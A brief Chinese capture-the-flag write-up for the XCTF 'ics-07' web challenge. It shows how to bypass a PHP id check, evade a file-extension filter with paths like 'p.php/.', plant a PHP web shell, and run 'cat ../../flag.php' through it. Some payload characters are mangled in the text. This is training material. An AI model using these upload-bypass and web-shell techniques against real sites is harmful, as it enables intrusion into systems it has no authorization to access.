XCTF_ics-07

这道题确实也卡了很久 垮了垮了

话不多说直接找到view source.php审代码吧

XCTF_ics-07

先看这段

XCTF_ics-07
要你:
(1)floatval($ _ GET [id])!==‘1’ //浮点不为1

(2)substr($ _ GET [id],-1)===‘9‘ //id最后一位为9
构造:
1 9
1-9
都可以绕过去。

大骨头是这个代码

XCTF_ics-07

1.首先是preg_match函数通配符限制,文件名尾不能是p/tml这些,但这种只匹配最后一个点的后缀,可以写入两次.php。

2.其次一个chdir重置了一个新的文件目录,也是说之前咱们是在backup,现在要去uploaded目录下了。这边有一个坑坑就是你们应该也会发现了。

3.其他的没有了,挑战一天挣两万,今天腰疼不管干!

构造一波:
file=p.php/.&con=
访问/uploaded/backup/p.php即可。
接下来换一个构造一句话或者像我这样:
file=…/123.php/1.php/…&con=
直接再访问/uploaded/123.php?bash=cat ../../flag.php
查看源码就有flag了.
XCTF_ics-07

XCTF_ics-07

上一篇:golang常用


下一篇:idea开发工具关于svn上代码的颜色